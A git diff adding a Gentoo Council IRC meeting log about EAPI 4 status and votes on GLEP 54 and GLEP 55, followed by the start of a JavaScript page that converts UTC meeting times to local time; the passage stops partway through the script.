+[22:08:17] <Betelgeuse> jmbsvicetto: few_ said to look at the tracker bug
+[22:08:29] <wired> ok so brian is not answering
+[22:08:32] <wired> lets move on
+[22:08:32] <Betelgeuse> 08:45 < few_> Betelgeuse: just in case nobody shows up to report about the portage eapi 4 status in the council meeting: it's all in bug 273620. whatever is marked as fixed can be made usable in the next release.
+[22:08:34] <willikins> Betelgeuse: https://bugs.gentoo.org/273620 "[TRACKER] sys-apps/portage EAPI 4 implementation"; Portage Development, Core; NEW; SebastianLuther@gmx.de:dev-portage@g.o
+[22:08:46] <wired> Betelgeuse: thanks, was about to paste that myself
+[22:10:05] *** Joins: antarus (~antarus@gentoo/developer/antarus)
+[22:10:13] <wired> it seems that the only open bugs there are bug 273642
+[22:10:15] <willikins> wired: https://bugs.gentoo.org/273642 "USE is calculated differently (EAPI 4)"; Portage Development, Core; NEW; SebastianLuther@gmx.de:dev-portage@g.o
+[22:10:18] <wired> and bug 273625
+[22:10:20] <willikins> wired: https://bugs.gentoo.org/273625 "Slot operator dependencies (EAPI 4)"; Portage Development, Core; NEW; SebastianLuther@gmx.de:dev-portage@g.o
+[22:10:47] <jmbsvicetto> few_ is around. Anyone has any questions?
+[22:11:12] *** Quits: nirbheek (~nirbheek@gentoo/developer/flyingspaghettimonster/nirbheek) (Ping timeout: 240 seconds)
+[22:11:23] <few_> there is a third: bug 273633
+[22:11:25] <willikins> few_: https://bugs.gentoo.org/273633 "Controllable compression and docompress (EAPI 4)"; Portage Development, Core; NEW; SebastianLuther@gmx.de:dev-portage@g.o
+[22:11:55] <wired> few_: right i missed it thanks
+[22:11:56] <zmedico> all the stuff that's implemented should be listed in the tracker bug and here too: http://git.overlays.gentoo.org/gitweb/?p=proj/portage.git;a=blob_plain;f=doc/package/ebuild/eapi/4.docbook;hb=HEAD
+[22:12:32] <Betelgeuse> I think we should roll that together with GLEP 55 if approved today and start getting EAPI 4 out.
+[22:12:40] <Betelgeuse> zmedico said GLEP 55 already has code
+[22:12:57] <Betelgeuse> zmedico: 54 does too?
+[22:14:28] <zmedico> well, glep 54 isn't implemented but it would affect all the same places as the glep 55 patch
+[22:15:01] <Betelgeuse> It would take some time to get PMS in order any way
+[22:16:16] <Betelgeuse> zmedico: Also how's repoman wrt EAPI 4?
+[22:17:16] <ssuominen> It would be nice to have special version string, called for example 'scm' or 'live' to replace 9999 a-like versioning. But .ebuild stops at .ebuild, extra suffix is just ugly and complicates workflow
+[22:17:47] <zmedico> Betelgeuse: it's hard to say about repoman because we haven't enabled support for EAPI 4_pre1 yet
+[22:18:12] <Betelgeuse> zmedico: I was thinking we might want to check some || die stuff but any way not really that relevant now
+[22:18:16] <Betelgeuse> wired: Shouldn't we move on?
+[22:18:19] <wired> yes
+[22:18:57] <zmedico> ssuominen: a possible alternative to the -scm would be just to add a _scm suffix that's similar to the existing version suffixes
+[22:19:07] <wired> lets talk about GLEP 54
+[22:19:34] <jmbsvicetto> zmedico: would it be possible to have just ${PN}_scm ?
+[22:19:39] <wired> zmedico: thats kind of what I was thinking
+[22:19:54] <Betelgeuse> wired: shouldn't talk have happened at mailing lists?
+[22:20:00] <zmedico> jmbsvicetto: we could allow that since we're changing version rules anyway
+[22:20:06] <jmbsvicetto> ok
+[22:20:28] <wired> Betelgeuse: well, it should, but i guess we can do some basic talk before we vote on it
+[22:20:37] <Betelgeuse> Also we have the option to bikeshed before EAPI 4 is offically approved.
+[22:20:46] <Betelgeuse> zmedico: I presume changing naming etc is quite trivial?
+[22:20:56] <Betelgeuse> Once the approach is in.
+[22:21:17] <ulm> Betelgeuse: the issue is about hyphen vs underscore, not live vs scm
+[22:21:25] <wired> Im all for GLEP 54, but I strongly prefer _ and live
+[22:21:33] <ulm> see http://www.mail-archive.com/gentoo-dev@lists.gentoo.org/msg34159.html
+[22:21:47] <ulm> all this has been discussed ad nauseam one year ago
+[22:22:32] <Chainsaw> ulm: You have a point, even versionator relies on those hyphens.
+[22:22:33] <zmedico> Betelgeuse: changing naming of ebuilds? yeah pretty trivial, along the lines of the glep 55 patch.
+[22:23:17] *** Joins: Ford_Prefect (~arun@gentoo/developer/ford-prefect)
+[22:23:19] <ssuominen> GLEP-54, yes. GLEP-55, no.
+[22:23:29] <wired> ^^ im with ssuominen 
+[22:23:38] <Halcy0n> If its a well defined standard, it doesn't matter if its a - or a _.
+[22:23:42] <jmbsvicetto> GELP-54, yes. GLEP-55, no.
+[22:23:52] <jmbsvicetto> GLEP*
+[22:24:06] <Betelgeuse> And how do you guys propose doing 54 without 55?
+[22:24:12] <Halcy0n> That was my question :)
+[22:24:32] <zmedico> you just use a new regex
+[22:24:34] <Chainsaw> I don't believe 54 is workable without 55, and I don't like 55.
+[22:24:38] <Chainsaw> So no on both.
+[22:24:55] <zmedico> you scan the ebuild dir for valid ebuild names
+[22:25:03] <zmedico> using a different regex for each format
+[22:25:23] <Betelgeuse> Of course we can do it if we wait until people are expected to be on a new Portage version
+[22:25:24] <zmedico> ebuid extension is irrelevant
+[22:25:28] *** Joins: darkside_ (~darkside@gentoo/developer/darkside)
+[22:25:36] <Chainsaw> Halcy0n: I'd prefer mandating the underscore though, to avoid violating any assumptions in current code.
+[22:25:38] <Betelgeuse> Meaning the standard year and screw earlier versions.
+[22:25:47] <jmbsvicetto> I'm open for a onetime change of the extension (.eb ?), if we use it to put up rules to ensure we can get changes in the future without requiring extension changes
+[22:25:55] <Halcy0n> The standard year sucks.
+[22:26:02] <Betelgeuse> Halcy0n: indeed
+[22:26:33] <wired> zmedico: how would reasonably old (1yo) portage react to foo-live or foo-1_live?
+[22:27:10] <zmedico> wired: it would just give a short warning message during dep calc and move on
+[22:27:14] <jmbsvicetto> about the EAPI argument, I don't agree with the claims on GLEP-55, including the "limitation" in forcing EAPI to be set on a clear position of the file
+[22:27:26] <wired> @council ^^ i don't see an issue with that
+[22:27:45] <jmbsvicetto> s/of/in/
+[22:27:57] <Chainsaw> Okay, so it seems we can do 54 without 55. What's the opinion on mandating the underscore?
+[22:28:02] <wired> zmedico: for every {-,_}live ebuild in tree?
+[22:28:17] <jmbsvicetto> wired: I'd rather see a new discussion taking the time to address the issue of supported features of a repo.
+[22:28:33] <zmedico> wired: well, every one that's pulled into the dependency graph for whatever reason
+[22:28:56] <wired> jmbsvicetto: sorry?
+[22:28:59] <Chainsaw> zmedico: The main concern is that it wouldn't abort so that a newer python/portage can be merged.
+[22:29:00] <Halcy0n> We really should have had these discussions on the mailing lists if you guys felt this way :)
+[22:29:10] <zmedico> wired: one warning for each .ebuild file with unrecognized version part
+[22:29:11] <jmbsvicetto> There have been talks about adding a file to every repo to specify features supported by the repo. It could be just at the root level, or it could also be used at the category or package level
+[22:29:13] <Chainsaw> zmedico: Which I believe you've addressed :)
+[22:29:25] <zmedico> Chainsaw: yeah, won't abort
+[22:29:33] <Chainsaw> jmbsvicetto: That sounds as invasive as GLEP55, I'd like to have that punted back to the mailing list.
+[22:30:00] <jmbsvicetto> Chainsaw: I'm not proposing to move forward with that. I'm proposing we take the time to discuss that (on mls)
+[22:30:05] *** Joins: nirbheek (~nirbheek@gentoo/developer/flyingspaghettimonster/nirbheek)
+[22:30:31] <wired> zmedico: that sounds good then, we could have GLEP 54 without severe consequences 
+[22:30:45] <Chainsaw> wired: Agreed, revising my vote. GLEP 54 yes, GLEP 55 no.
+[22:30:53] <zmedico> wired: sure
+[22:30:55] <jmbsvicetto> Chainsaw: if we decide to do a major change in the file format (including a file extension change), we might take the chance to address as many issues as possible
+[22:30:56] <Chainsaw> wired: Point about the underscores remains, but nobody seems willing to answer that.
+[22:31:14] <wired> Chainsaw: +1 for underscore here
+[22:31:22] <Betelgeuse> I voted yes to both previously and don't think anything has been presented since then.
+[22:31:22] <jmbsvicetto> Chainsaw: I'm ok with forcing it to be '_'
+[22:31:34] <wired> hyphen seems to make it harder for no apparent reason
+[22:31:52] <Chainsaw> wired: Indeed. Principle of least astonishment.
+[22:31:54] <Halcy0n> wired: _ has the same reprecussions anyway, since its a valid part of the version string right now as well.
+[22:32:23] <wired> Halcy0n: true, but it doesn't split PN from PV
+[22:32:35] <Betelgeuse> wired: I propose we vote on if this council thinks the problem of changing global scope should be addressed?
+[22:32:45] <Halcy0n> Either way, I approve of GLEP 54, with my own minor bikeshedding of it be "live" vs "scm" which was brought up in one of the previous discussions.
+[22:33:07] <jmbsvicetto> Betelgeuse: yes from me on both - we should vote and we should address it
+[22:33:36] <jmbsvicetto> Halcy0n: no objection from me on live and no preference between live or scm
+[22:33:38] *** Quits: nirbheek (~nirbheek@gentoo/developer/flyingspaghettimonster/nirbheek) (Excess Flood)
+[22:33:54] <Halcy0n> Also, I like GLEP55, but I don't like the proposed solution, but like the second one with a static extension with the eapi as part of the version.
+[22:34:07] <wired> Betelgeuse: can you be more specific, what issue are you refering to?
+[22:34:19] <Betelgeuse> wired: The problem that GLEP 55 aims to solve.
+[22:34:29] <Chainsaw> Halcy0n: I like the principle, but I don't like the implementation.
+[22:34:38] <Betelgeuse> wired: As people vote no I want to know if they want to just ignore it for now.
+[22:34:44] <wired> ah
+[22:34:51] <jmbsvicetto> Betelgeuse: iirc, ferringb has disputed the claim in the GLEP
+[22:35:18] <Betelgeuse> jmbsvicetto: The parsing EAPI part or the performance?
+[22:35:49] <Betelgeuse> jmbsvicetto: I haven't heard there being anything wrong with the Problem statement in the GLEP (of course it's been a while)
+[22:35:54] <wired> lets clear things out for a minute here
+[22:35:54] <jmbsvicetto> Betelgeuse: and it has been discussed before that we can (should) split the ebuild sourcing from a "pre-processing" step
+[22:35:59] <wired> hold your GLEP 55 thoughts
+[22:36:16] <wired> GLEP 54, can I have yes/no votes please
+[22:36:22] <jmbsvicetto> yes
+[22:36:27] <Betelgeuse> wired: It really makes sense to do 55 first
+[22:36:34] <jmbsvicetto> + '-' restriction
+[22:36:42] <jmbsvicetto> bah, '_'
+[22:36:42] <Chainsaw> wired: GLEP 54: yes.
+[22:36:59] <Halcy0n> Doing 54 without 55 seems like we are just hoping to not have warnigns displayed to users.
+[22:37:04] <Chainsaw> wired: And indeed, underscore, not hyphen.
+[22:37:14] <Halcy0n> I'm not willing to vote on 54 until 55 is decided.
+[22:37:29] <jmbsvicetto> 55 then?
+[22:37:34] <wired> ok then
+[22:38:40] <wired> i really don't like suffix
+[22:38:55] <jmbsvicetto> 55: no - I don't agree with the premises nor with the proposed solution
+[22:39:12] <Chainsaw> wired: GLEP 55: no.
+[22:39:23] <ssuominen> 55: no
+[22:39:24] <wired> GLEP 55: no.
+[22:39:58] <wired> Halcy0n / Betelgeuse?
+[22:40:21] <Betelgeuse> yes (and I don't have particular ties to any of the proposed naming schemes in the GLEP)
+[22:40:49] <Halcy0n> Yes (and I prefer the second naming scheme)
+[22:41:01] <wired> okay
+[22:41:15] <wired> glep 55 was voted down 4 to 2
+[22:41:31] <Halcy0n> glep 54 is a no for me then
+[22:41:41] <Betelgeuse> If performance doesn't really matter (would need some numbers) it could also be a subdirectory if people are tied to .ebuild
+[22:42:03] <Halcy0n> Betelgeuse: if we stick with .ebuild, we are tied to waiting and can't use it immediately.
+[22:42:19] <Betelgeuse> Halcy0n: Not if the new EAPIs move to a pkg sub directory
+[22:42:27] <Halcy0n> Oh, I see what you mean now.
+[22:42:41] <Halcy0n> I personally don't like that solution, for reasons brought up in the glep.
+[22:42:56] <ssuominen> need to stick with .ebuild, anything else is just extra layer of complexity, the benefits from this certainly doesn't outweight the unconvinience
+[22:43:01] <wired> lets revisit our GLEP 54 vote now
+[22:43:05] <jmbsvicetto> glep54 - yes with '_' restriction
+[22:43:18] <Chainsaw> wired: GLEP54, yes, underscore not dash.
+[22:43:22] <wired> i vote yes with _ and preferably "live"
+[22:43:29] <Betelgeuse> I don't like showing warnings on users so no.
+[22:44:00] <Halcy0n> ssuominen: a one time change of the extension to "eb" shouldn't be anything that's another layer of complexity, but the conversation has moved on I guess.
+[22:44:03] <wired> i recommend voting between "live" and "scm" now so we can avoid bikeshedding later
+[22:44:04] <ssuominen> yes
+[22:44:07] <jmbsvicetto> ssuominen: I'd be willing to have a one time extension change (.eb?) if we use it to implement large changes
+[22:44:39] <jmbsvicetto> I can live with live or scm.
+[22:44:45] <Betelgeuse> wired: I would like that vote on if people are categorily against 55 or just the particular scheme it prefers
+[22:44:54] <Halcy0n> jmbsvicetto: you don't like one of the proposed solutions of having it be foo-1.2.3-eapi_4.eb?
+[22:45:07] <jmbsvicetto> no
+[22:45:14] <jmbsvicetto> I don't want the EAPI exposed in the file name
+[22:45:18] <ssuominen> me either
+[22:45:27] <Betelgeuse> Halcy0n: It doesn't have to be pkg/eapiX/ could be just pkg/new-apis/foo-1.ebuild
+[22:45:38] <ssuominen> btw, i'm fine with both live or scm, the naming doesn't really bother me, long as it's short and to the point
+[22:45:41] <wired> Betelgeuse: i don't like any of the proposed "solutions"
+[22:45:43] <Betelgeuse> Halcy0n: so only a single readdir more
+[22:45:56] <wired> personally I believe we can live with some old portage warnings
+[22:45:57] <Halcy0n> Even having it easily fetchable in the ebuild is fine.  I just don't see how you guys can go ahead with G54 when its clearly going to show warnings to users.
+[22:46:15] <ssuominen> {package}-${version}.ebuild, profit. where ${version} can be scm or live or ...
+[22:46:29] <wired> this thing has had so much bikeshedding its already pretty safe to apply glep 54 without breaking portage (when the glep was written it was not safe)
+[22:46:59] <Betelgeuse> Halcy0n: yeah a feature for ricers should not show warnings to stable users
+[22:47:29] <Chainsaw> There's a difference between warnings & breakage.
+[22:47:35] <Betelgeuse> wired: s/old/current/
+[22:47:53] <wired> Halcy0n: glep55 is about ebuild suffixes...
+[22:47:55] <Chainsaw> Obviously it should not be phased in until a portage supporting the feature is marked stable.
+[22:48:29] <Halcy0n> wired: g55 has other proposed solutions that we could talk about.
+[22:48:29] <Chainsaw> A portage that warns until it is upgraded is acceptable. A portage that falls over so the situation is unrecoverable is not.
+[22:48:52] <Chainsaw> (Ever tried upgrading an installation that is >6 months old? Warnings are the least of your problems)
+[22:49:10] <jmbsvicetto> Halcy0n: GLEP-54 should be implemented on a new EAPI version
+[22:49:42] <Betelgeuse> jmbsvicetto: o_O
+[22:49:51] <Halcy0n> Its not going to understand the version no matter what you do at this point.
+[22:50:03] <jmbsvicetto> Betelgeuse: ?
+[22:50:32] <Betelgeuse> jmbsvicetto: just venting fustration a little
+[22:50:41] <jmbsvicetto> ok
+[22:51:03] <Betelgeuse> jmbsvicetto: as Halcy0n said you can't change version rules with our current way of naming files
+[22:51:13] <Betelgeuse> Not tomorrow any way.
+[22:51:19] <jmbsvicetto> sure
+[22:51:26] <Chainsaw> You'd be about two months out before your first _live can go in, yes.
+[22:51:40] <Halcy0n> Which is quite a crappy way to try and make the distribution move fowards.
+[22:51:44] <Halcy0n> s/fowards/foward/
+[22:51:55] * jmbsvicetto borrows an r to Halcy0n 
+[22:51:57] <Betelgeuse> And what about the next feature like GLEP 54?
+[22:52:02] <Betelgeuse> The same thing again?
+[22:52:04] <Betelgeuse> And then again?
+[22:52:05] <Betelgeuse> And again?
+[22:52:28] <Chainsaw> 55 is down. If you feel 54 depends on 55, reflect it in your vote please.
+[22:52:31] <peper> Halcy0n: to be fair the gleps are from 2007
+[22:52:33] * peper hides
+[22:52:43] <Halcy0n> peper: yea, but I'm trying to be foward thinking here :)
+[22:52:44] <jmbsvicetto> Betelgeuse: That's why I want a new discussion including the idea of adding repo version files so that we can finally address the issue
+[22:53:02] <Betelgeuse> Chainsaw: Already did. But I wanted that vote if the problem should be solved.
+[22:53:09] <Betelgeuse> wired: I think you should control the meeting a little more.
+[22:53:24] <jmbsvicetto> Betelgeuse: I'm even willing to have a one time extension change for that - assuming the not having to wait 1 year to implement rule
+[22:53:41] <Betelgeuse> jmbsvicetto: That's an option in 55.
+[22:53:53] <wired> well we are having a civilized discussion here and these are all our topics :)
+[22:54:19] <jmbsvicetto> Betelgeuse: the problem is 55 dismisses the choice of having EAPI inside the file and has a few premisses I don't agree with
+[22:54:49] <Betelgeuse> wired: The point was voting to end the discussion :)
+[22:55:15] <peper> jmbsvicetto: dismisses? It just shows some weak points
+[22:55:20] <jmbsvicetto> wired: Did we get a full count on 54?
+[22:55:23] <wired> Betelgeuse: we voted on 55 but then you guys have objections on 54 cause of the 55 vote... so we talk :)
+[22:55:29] <Betelgeuse> jmbsvicetto: "Easily fetchable EAPI inside the ebuild and one-time extension change" is an option there?
+[22:55:41] <jmbsvicetto> peper: To get it to be considered took quite a large discussion in the mls ;)
+[22:55:56] <jmbsvicetto> peper: the initial drafts ignored that option
+[22:55:59] <Chainsaw> wired: They will vote no on 54 because 55 is down. Probably means 54 is down as well. Best take counts now.
+[22:56:33] <wired> true
+[22:57:07] <Betelgeuse> jmbsvicetto: We can consider the performance implications acceptable to get a solution that gets enough votes behind the GLEP but maybe not happening
+[22:57:22] <Halcy0n> As I said, no to 54 without 55.  I need to go to a meeting in 4 minutes, so lets please wrap this up.
+[22:57:32] <peper> jmbsvicetto: Yes, because I didn't thinkg it would cause such a reaction from some folks. The proposed solution seemed the best to me and I didn't see the point of considering other approaches at first
+[22:57:33] <wired> well 54 passes the vote, 4 to 2
+[22:57:58] <Chainsaw> I can make it a tie and let it die if that ends the meeting?
+[22:58:04] <Betelgeuse> Also the benefits of 55 are not really apparent now as it enables further development.
+[22:58:05] <wired> with the underscore instead of the hyphen
+[22:58:08] <jmbsvicetto> peper: ok, understood
+[22:58:27] <wired> Chainsaw: there's no need, it'll end anyway :)
+[22:58:34] <wired> do we have a preference between live and scm?
+[22:58:38] <Chainsaw> wired: live
+[22:58:42] <wired> live+1
+[22:59:03] <wired> jmbsvicetto: ssuominen (who voted for)?
+[22:59:21] <jmbsvicetto> I'll accept either
+[22:59:22] <Chainsaw> wired: No on 54. Then both fail.
+[22:59:36] <wired> Chainsaw: sorry?
+[22:59:38] <Chainsaw> wired: And we don't have a broken tree.
+[22:59:54] <jmbsvicetto> Chainsaw: 54 doesn't break the tree
+[23:00:20] <Halcy0n> Not if you wait the normal year, which is apparently our development cycle now O:)
+[23:00:20] <Betelgeuse> Depends on your definition of "broken"
+[23:00:50] <ssuominen> yes to 54, long as it can be implented without 55. waiting is fine.
+[23:00:59] <wired> Chainsaw: did you change your vote to no?
+[23:01:20] <Halcy0n> It doesn't matter since it passed anyway without him changing his vote.
+[23:01:33] <tanderson> Halcy0n++
+[23:01:53] <wired> thats not true, if he votes no we have a tie...
+[23:02:10] <Betelgeuse> The summary defenitely needs to list who voted what.
+[23:02:16] <Chainsaw> Playing devils advocate, it doesn't matter either way.
+[23:02:54] <peper> wired: a tie with 7 people? impressive ;p
+[23:03:02] <wired> peper: ferringb is not here
+[23:03:05] <Chainsaw> peper: One of whom is not present.
+[23:03:11] <Chainsaw> peper: You can do it with 6.
+[23:03:26] <wired> Chainsaw: please make clear what you voted so we can move on :)
+[23:03:29] *** Quits: lavajoe (~joe@gentoo/developer/lavajoe) (Ping timeout: 240 seconds)
+[23:03:48] <Chainsaw> wired: GLEP54: yes
+[23:03:54] <wired> thanks
+[23:03:56] <peper> I thought ssuominen is proxying for ferringb but now I see scarabeus is not here as well. nvm
+[23:04:20] <wired> peper: underscore, live, glep 54 is a go
+[23:05:08] <peper> wired: with foo_live or foo-live?
+[23:05:09] <jmbsvicetto> so, are we done with the votes?
+[23:05:25] <Chainsaw> peper: underscore, not dash.
+[23:05:31] <Chainsaw> jmbsvicetto: I believe so.
+[23:05:34] <wired> jmbsvicetto: yes
+[23:05:50] <jmbsvicetto> So, do we have any updates in the open bugs?
+[23:05:54] <wired> yes
+[23:05:55] <wired> bugs
+[23:06:01] <wired> bug 256451 is done
+[23:06:02] <peper> Chainsaw: well, no dash at all in PNV would be something new
+[23:06:03] <willikins> wired: https://bugs.gentoo.org/256451 "Council meeting notes appear to be missing"; Doc Other, Other; RESO, FIXE; gentoo-bugs@allenjb.me.uk:council@g.o
+[23:06:14] <wired> bug 256453 is done
+[23:06:15] <Betelgeuse> wired: So I don't get my vote in this meeting?
+[23:06:16] <willikins> wired: https://bugs.gentoo.org/256453 "Documentation on Gentoo Council meeting processes, particularly regarding agenda items"; Doc Other, Other; RESO, FIXE; gentoo-bugs@allenjb.me.uk:council@g.o
+[23:06:28] <wired> Betelgeuse: you voted no?!
+[23:06:46] <Betelgeuse> wired: The vote on if we want to solve the problems GLEP 55 was for.
+[23:06:57] <jmbsvicetto> Betelgeuse: sorry, my bad
+[23:07:07] <Betelgeuse> wired: I didn't ever see a clear vote count on that.
+[23:07:12] <jmbsvicetto> Betelgeuse: I forgot your request
+[23:07:14] <ulm> peper: foo_live doesn't make sense since you need to have ${PN}-${PV}
+[23:07:18] <wired> Betelgeuse: you're right
+[23:07:30] <peper> ulm: see scrollback..
+[23:07:41] <jmbsvicetto> ulm: we talked about getting that
+[23:07:57] <jmbsvicetto> ulm: having ${PN}_live
+[23:08:25] <jmbsvicetto> wired: Yes from me in that we want to solve the issues raised by GLEP 55
+[23:09:17] <wired> yes from me as well
+[23:09:26] <Betelgeuse> yes
+[23:09:26] <Halcy0n> yes
+[23:10:01] <wired> Chainsaw: ssuominen?
+[23:10:58] <Chainsaw> wired: I want to solve the issues in GLEP55, yes. Just not this way.
+[23:11:20] <wired> ok. ssuominen?
+[23:11:21] <Chainsaw> wired: Perhaps we should agree to shelve both, as it is unlikely we will agree on 54 now?
+[23:11:57] <ssuominen> GLEP55 is a big no long as it talks about changing .ebuild or adding extra suffixes to it
+[23:12:09] <Betelgeuse> ssuominen: That wasn't the question
+[23:12:16] <wired> ssuominen: we're talking about the issues raised
+[23:12:18] <wired> not the solution
+[23:12:32] <ssuominen> I don't like the underscore, _
+[23:12:50] <jmbsvicetto> ssuominen: please answer the question ;)
+[23:12:52] <wired> i don't understand ;p
+[23:12:54] <ssuominen> err wait
+[23:13:12] <jmbsvicetto> 20:06 <@Betelgeuse> wired: The vote on if we want to solve the problems GLEP 55 was for.
+[23:14:02] <ssuominen> no
+[23:14:06] <ssuominen> shelve it
+[23:14:18] <wired> ok
+[23:14:19] <wired> thanks
+[23:14:28] <jmbsvicetto> So, bugs again?
+[23:14:28] <Betelgeuse> Can those people who voted yes now and no to GLEP 55 tell their preferred solution(s).
+[23:15:00] <jmbsvicetto> Betelgeuse: That is something I'd like to talk in the mls. I don't have answers for now
+[23:15:30] <Chainsaw> I would like to say shelve both for further discussion. And my apologies for being disruptive.
+[23:16:03] <Chainsaw> (In the future my first vote is what goes, and nothing else. I am notoriously undecisive if I don't keep stop myself.)
+[23:16:20] <Chainsaw> s/stop/stopping/
+[23:16:56] <Betelgeuse> wired: your solution?
+[23:18:00] <wired> Chainsaw is not making this easy
+[23:18:07] <Chainsaw> I know.
+[23:18:15] <wired> does anyone else feel we should discuss glep54 for two more weeks?
+[23:18:23] <ssuominen> wired: o/
+[23:18:47] <Chainsaw> Yes, let's go back to discussions.
+[23:19:03] <Chainsaw> And we'll have a rule next meeting that I can't change my vote. Ever.
+[23:19:55] <jmbsvicetto> Chainsaw: never say never
+[23:20:19] <Chainsaw> jmbsvicetto: I certainly don't want a repeat of this.
+[23:20:29] <antarus> Its like a gaggle of school girls in here
+[23:20:36] <Chainsaw> Hi antarus.
+[23:20:55] <wired> Chainsaw: lets say that glep 54 passed, but we will give it 2 weeks to see if we can find a better way to implement it (through a new solution to glep55)
+[23:21:18] <peper> antarus: "A group of fat chicks; usually chit-chatting and usually snacking on fried foods.
+[23:21:22] <peper> what? :D
+[23:21:37] <Betelgeuse> wired: GLEP 54 should go in as part of an EAPI an ywa
+[23:21:41] <Betelgeuse> wired: And that takes some time.
+[23:21:54] <wired> Betelgeuse: shhh ;p
+[23:22:00] <antarus> peper: I think urban dictionary failed you there ;p
+[23:22:02] <wired> what im trying to say is
+[23:22:25] <wired> we all want glep54, lets not vote for it again, its passed, lets just focus on finding the best way to implement it
+[23:22:43] <Betelgeuse> wired: It was already passed before the meeting started :)
+[23:22:46] <jmbsvicetto> can we move on to bugs?
+[23:22:50] <wired> yes please
+[23:22:52] <jmbsvicetto> We're almost on 90 minutes
+[23:23:05] <wired> bug 234706
+[23:23:09] <willikins> wired: https://bugs.gentoo.org/234706 "Slacker arches"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+[23:23:13] <antarus> you guys need to learn how to cut the meeting short; its ok to delay items to the next one
+[23:23:25] <antarus> but ignore me and finish ;p
+[23:23:29] *** Joins: jbergstroem (~johan@bergstroem.nu)
+[23:23:30] <wired> antarus: the purpose here is not to "get done with it" :P
+[23:23:57] <jmbsvicetto> wired: anything worthy to discuss about bugs, besides the 2 closed bugs?
+[23:24:01] <wired> Halcy0n: ^^ bug, any progress?
+[23:24:10] <jmbsvicetto> I don't think there were any relevant updates to the others
+[23:24:11] <wired> jmbsvicetto: your bug, any progress?
+[23:24:39] <jmbsvicetto> no, I said I was going to address it in 1 month, not 2 weeks :P
+[23:24:45] <wired> you never know ;p
+[23:25:11] <wired> ok
+[23:25:21] <jmbsvicetto> next meeting?
+[23:25:31] <wired> next meeting date: 2010-09-13
+[23:25:36] <wired> jmbsvicetto: you'll chair? =]
+[23:25:53] <Chainsaw> wired: That works for me. 1900UTC as usual?
+[23:26:16] <wired> Chainsaw: yes
+[23:26:54] <Betelgeuse> ok for me
+[23:26:57] <jmbsvicetto> wired: I will
+[23:27:01] <wired> great
+[23:27:11] <wired> anyone from the community wants to discuss anything?
+[23:27:22] <antarus> sure
+[23:27:29] <antarus> when are we getting an expresso machine?
+[23:27:33] <antarus> cause my work has one
+[23:27:35] <antarus> and damn its good
+[23:27:39] * jmbsvicetto points to the foundation lounge
+[23:27:45] <peper> are you going to resurrect the g55 threads on the m/l?
+[23:27:46] <jmbsvicetto> antarus: they have the money ;)
+[23:27:52] <NeddySeagoon> antarus, the Foundation has one too
+[23:27:59] <wired> antarus: here are the keys, please don't lose them
+[23:28:04] <Philantrop> peper: 55 is dead.
+[23:28:34] <jmbsvicetto> peper: Seems a few of us want to discuss the issues GLEP 55 tried to address
+[23:28:38] <wired> peper: we'll be talking about a solution
+[23:28:46] <NeddySeagoon> Philantrop, I thought the principle of 55 was agreed but not the solutions
+[23:28:54] <jmbsvicetto> peper: tried as it wasn't approved - no other meaning
+[23:29:01] <peper> Philantrop: it's been dead for 3 years now. It just has this funny feature of coming back every now and again
+[23:29:47] <wired> tbh i voted no for ebuild naming changes but Im willing to discuss other options
+[23:29:54] <jmbsvicetto> peper: if needed, we can look for some silver bullets
+[23:30:25] <antarus> peper: like the herpes
+[23:30:28] <Betelgeuse> We should just vote on individual implementation options.
+[23:30:30] <jmbsvicetto> ok, if there's nothing else, I'm going to look around for dinner
+[23:30:49] <wired> Betelgeuse: maybe. we'll have a more detailed agenda on this next time :)
+[23:31:03] <wired> great
+[23:31:05] <Chainsaw> Something tells me both will be back in some form.
+[23:31:25] <wired> thanks everyone
+[23:31:30] <wired> meeting is now over
diff --git a/xml/htdocs/proj/en/council/utctolocal.html b/xml/htdocs/proj/en/council/utctolocal.html
new file mode 100644
index 00000000..7af7ff1b
--- /dev/null
+++ b/xml/htdocs/proj/en/council/utctolocal.html
@@ -0,0 +1,127 @@
+<html>
+<!--
+	this page converts UTC time to the user system's timezone
+	using javascript
+
+	v1.1
+	updated getQueryParams function because it crashed latest chromium!
+
+	v1.0
+
+	written by Alex Alexander <wired@gentoo.org>
+!-->
+<head>
+<title>Convert UTC time to your timezone</title>
+
+<style>
+body {
+	margin: 0px;
+	padding: 0px;
+	background: black;
+	color: white;
+	font-family: Verdana;
+	font-size: 16px;
+}
+div {
+	padding: 5px;
+}
+div#localtime {
+	color: #00a5ee;
+	font-size: 30px;
+}
+.textbox {
+	background: #00a5ee;
+	border: 2px #00a5ee;
+	color: white;
+	font-size: 20px;
+	padding: 5px;
+	width: 80px;
+	text-align: center;
+}
+</style>
+
+<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
+
+<script>
+function getQueryParams(qs) {
+	var vars = [], hash;
+	var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&');
+
+	for(var i = 0; i < hashes.length; i++) {
+		hash = hashes[i].split('=');
+		vars.push(hash[0]);
+		vars[hash[0]] = hash[1];
+	}
+
+	return vars;
+}
+
+function get_time_zone_offset( ) {
+	var current_date = new Date( );
+	var gmt_offset = current_date.getTimezoneOffset( ) / 60;
+	return gmt_offset;
+}
+
+function update_time() {
+	var t = $("#time").val();
+	var filter = /^[0-9]{1,2}$/;
+	var filter2 = /^[0-9]{2}:[0-9]{2}$/;
+	var filter3 = /^[0-9]{4}$/;
+	if ( ! filter.test(t) && ! filter2.test(t) && ! filter3.test(t) ) {
+		$("#localtime").html("You need to provide a valid time<br>in 'HH', 'HHMM' or 'HH:MM' format.");
+		return;
+	}
+	if ( filter3.test(t) ) {
+		t = [ t.substr(0,2), t.substr(2,4) ];
+	} else {
+		t = t.split(":");
+	}
+	if ( parseInt(t[0]) > 23 || parseInt(t[1]) > 59 ) {
+		$("#localtime").html("You need to provide a valid time<br>in 'HH', 'HHMM' or 'HH:MM' format.");
+		return;
+	}
+	t[0] = parseInt(t[0]) - parseInt(get_time_zone_offset());
+	if ( t[0] > 23 ) t[0] -= 24;
+	if ( t[0] < 0 ) t[0] += 24;
+
+	if ( t[1] == undefined )
+		t[1] = "00";
+	else if ( parseInt(t[1]) < 10 )
+		t[1] = "0"+parseInt(t[1]);
+
+	$("#localtime").html( t[0] + ":" + t[1] );
+}
+
+$().ready(function() {
+	var GET = getQueryParams();
+
+	var tz = get_time_zone_offset()*-1;
+	if ( tz > 0 ) tz = "+"+tz; else if ( tz == 0 ) tz = "";
+	$("#localtime_label").html($("#localtime_label").html() + " (UTC"+tz+")");
+	if ( GET['time'] != undefined ) {
